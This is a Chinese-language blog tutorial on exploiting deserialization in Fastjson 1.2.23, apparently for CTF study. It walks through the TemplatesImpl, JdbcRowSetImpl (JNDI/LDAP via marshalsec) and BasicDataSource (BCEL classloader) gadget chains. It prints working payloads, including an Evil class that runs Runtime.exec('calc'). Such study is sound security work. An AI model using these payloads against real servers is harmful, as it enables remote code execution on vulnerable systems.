Fastjson

到了喜闻乐见的Fastjson。

前言

Fastjson 是阿里巴巴的开源 JSON 解析库,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。顾名思义,FastJson的特点就是快。

先从最简单的用法说起吧。

Basic Usage

依赖用的1.2.23

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>

POJO => JSON

1
JSON.toJSONString()

参数设置:

  • SerializerFeature.WriteClassName

    序列化时,会多出一个@type跟上类名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.eddiemurphy;

public class Person {
public String name;
public Integer age;

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public Integer getAge() {
System.out.println("getAge");
return age;
}

public void setAge(Integer age) {
System.out.println("setAge");
this.age = age;
}

public Person(String name, Integer age) {
this.name = name;
this.age = age;
}

public Person(){
System.out.println("Non-Arg Constructor");
}

@Override
public String toString() {
return "I am " + this.name + " and " + this.age + " years old";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.example.Person;

public class Test {
public static void main(String[] args) {
Person person1 = new Person("Tom", 18);
String str1 = JSON.toJSONString((person1));
System.out.println(str1);

Person person2 = new Person("Lisa", 20);
String str2 = JSONObject.toJSONString(person2, SerializerFeature.WriteClassName);
System.out.println(str2);
}
}

getAge

getName

{“age”:18,”name”:”Tom”}

getAge

getName

{“@type”:”org.example.Person”,”age”:20,”name”:”Lisa”}

JSON => POJO

1
JSON.parseObject()

参数设置:

  • Feature.SupportNonPublicField 反序列化时,加上该参数才能还原private属性
1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.example.Person;

public class Test {
public static void main(String[] args) {
Person person = JSON.parseObject("{\"@type\":\"org.example.Person\",\"age\":20,\"name\":\"Lisa\"}", Person.class, Feature.SupportNonPublicField);
System.out.println(person);
}
}

Non-Arg Constructor

setAge

setName

I am Lisa and 20 years old

parse vs parseObject

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;

public class Test {
public static void main(String[] args) {
String s = "{\"@type\":\"org.example.Person\",\"age\":20,\"name\":\"Lisa\"}";
Object obj1 = JSON.parse(s);
System.out.println(obj1);
Object obj2 = JSON.parseObject(s);
System.out.println(obj2);
}
}

Non-Arg Constructor

setAge

setName

I am Lisa and 20 years old

Non-Arg Constructor

setAge

setName

getAge

getName

{“name”:”Lisa”,”age”:20}

可以看到JSON.parseObject()的打印结果和我们定义的toString()不同,说明它不是Person对象。(实际上得到的是JSONObject类对象)

结论:

  • parse()会识别并调用目标类的setter方法
  • parseObject()会触发目标类的getter和setter方法

因此若能找到一个类、在反序列化这个类对象时,fastjson调用其setter或getter方法,且setter或getter方法存在漏洞,就可以执行恶意代码。

下面再列举一些FastJson的结论,在后续调试中可以观察得到:

  • JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与 setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _ | - 字符串,假如字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到。

配置类:

com.alibaba.fastjson.parser.ParserConfig:后面的AutoType开关和黑名单体现在这个类中

满足条件的setter:

  • 函数名大于等于4
  • 非静态函数
  • 以set开头且第4个字母为大写
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter

  • 函数名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger

TemplatesImpl

在前面的动态字节码那里提到过:

1
2
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中定义了一个内部类
TransletClassLoader

存在作用域为default的方法defineClass

找到如下调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// TemplatesImpl#getOutputProperties()
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
// TemplatesImpl#newTransformer()
public synchronized Transformer newTransformer(){
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
}
// TemplatesImpl#getTransletInstance()
private Translet getTransletInstance() {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// ....
}
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
// ...
}
// TemplatesImpl#defineTransletClasses()
private void defineTransletClasses() {
//....
TransletClassLoader loader =
AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
public TransletClassLoader run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),
_tfactory.getExternalExtensionsMap());
}
});
// ...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i], pd);
// ....
}
}
  • defineTransletClasses方法中_tfactory.getExternalExtensionsMap() _tfactoryTransformerFactoryImpl类 为了不抛出异常需要_tfactory = new TransformerFactoryImpl()
  • getTransletInstance方法中判断if (_name == null) return null; 所以要给_name赋值(String)

TemplatesImpl 中对加载的字节码是有一定要求的:

这个字节码对应的类必须是**com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。**

1
TemplatesImpl#getTransletInstance()首先执行 defineTransletClasses()加载类后,还会对该类进行实例化 (AbstractTranslet) _class[_transletIndex].newInstance();

getOutputProperties()正是TemplatesImpl_outputProperties属性对应的getter方法。

由于更改的一些TemplatesImpl私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数。

PayLoad

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["evilCode after Base64"],
"_name": "taco",
"_tfactory": {},
"_outputProperties": {},
}

Evil.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public Evil() {
}
}

获取Base64编码后的Evil.class字节码:

1
2
3
4
5
6
7
8
9
import javassist.ClassPool;
import java.util.Base64;

public class getPayLoad {
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
System.out.println(Base64.getEncoder().encodeToString(code));
}
}

局限

需要 Feature.SupportNonPublicField 参数

JdbcRowSetImpl

上文的TemplatesImpl链存在严重限制,即JSON.parse()需要开启Feature.SupportNonPublicField

JdbcRowSetImpl链是基于 JNDI+RMI 或 JDNI+LADP 进行攻击,会有一定的JDK版本限制。

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

com.sun.rowset.JdbcRowSetImpl

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn = setAutoCommit(var1);
}
//...
}

conn == null时,调用connect():

image-20240801215837593

经典的(new InitialContext()).lookup(),那么只要dataSourceName设为恶意远程RMI服务或ldap服务即可。

{

“@type”:”com.sun.rowset.JdbcRowSetImpl”,

“dataSourceName”:”ldap://127.0.0.1:8099/evil”,

“autoCommit”:true

}

可以利用marshalsec开启ldap服务:

1
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 8099

image-20240801220859119

BasicDataSource

fastjson网传的三条利用链如下:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

前面两个已经介绍,现在还剩最后一个BasicDataSource

  1. 常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,较鸡肋
  2. 利用JNDI注入,但需要服务器出网
  3. 不用出网也不用开启Feature.SupportNonPublicField
  4. 依赖如下
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.5.45</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>

调用链:

getConnection()->createDataSource()->createConnectionFactory()->createDriver()

image-20240801222516262

Class.forName第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

driverClassLoaderdriverClassName都可以通过fastjson控制

{

{

“aaa”: {

“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”,

“driverClassLoader”: {

“@type”: “com.sun.org.apache.bcel.internal.util.ClassLoader”

},

“driverClassName”: “$$BCEL$$$l$8b$I$A$…”

}

}: “bbb”

}

image-20240801222607739

实际上面的getConnection不满足fastjson对自动调用getter的要求,前面说过:

满足条件的getter:

  • 函数名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger

{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb

将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法(因为key一定要是String类型)

而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。所以会调用到getConnection方法。

image-20240801222706621

当fastjson>=1.2.36的时候,可以使用$ref方式调用getter。

ref是fastjson特有的JSONPath语法,用来引用之前出现的对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class test {
private String cmd;

public void setCmd(String cmd) {
System.out.println("seter call");
this.cmd = cmd;
}

public String getCmd() throws IOException {
System.out.println("geter call");
Runtime.getRuntime().exec(cmd);
return cmd;
}
}

ref_fastjson.java:

1
2
3
4
5
6
7
public class ref_fastjson {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
JSON.parse(payload);
}
}

原生反序列化

来自Y4佬:

FastJson 与原生反序列化 (seebug.org)

FastJson与原生反序列化(二) (y4tacker.github.io)

后记

七七八八抄了一些,打比赛的时候遇到fastjson也挺多的,多学习学习。但fastjson也逐渐淡出视野了。

现在java8的题将要死去,出现更多的java11、java17,这都是新的挑战,因为涉及到全新的思路与方法。

现在我只不过是沿着前人的道路一步步筑基罢了。

Jackson跟fastjson很像,放在后面写。

以及最后附上su18大佬的,常看常新:

fastjson:我一路向北,离开有你的季节 | 素十八 (su18.org)

参考:

FastJson 🪁 | Java (gitbook.io)


Fastjson
https://eddiemurphy89.github.io/2024/08/01/fastjson/
作者
EddieMurphy
发布于
2024年8月1日
许可协议